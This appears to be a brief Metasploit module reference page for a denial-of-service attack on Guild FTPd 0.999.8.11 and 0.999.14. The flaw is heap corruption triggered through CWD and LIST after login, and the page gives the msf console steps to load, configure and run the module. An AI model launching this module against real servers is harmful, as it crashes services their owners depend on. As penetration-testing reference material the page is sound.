Guild FTPd 0.999.8.11 and 0.999.14 are vulnerable to heap corruption. You need to have a valid login so you can run CWD and LIST.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/dos/windows/ftp/guildftp_cwdlist
msf auxiliary(guildftp_cwdlist) > show actions
...actions...
msf auxiliary(guildftp_cwdlist) > set ACTION < action-name >
msf auxiliary(guildftp_cwdlist) > show options
...show and set options...
msf auxiliary(guildftp_cwdlist) > run
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– Jim O’Gorman | President, Offensive Security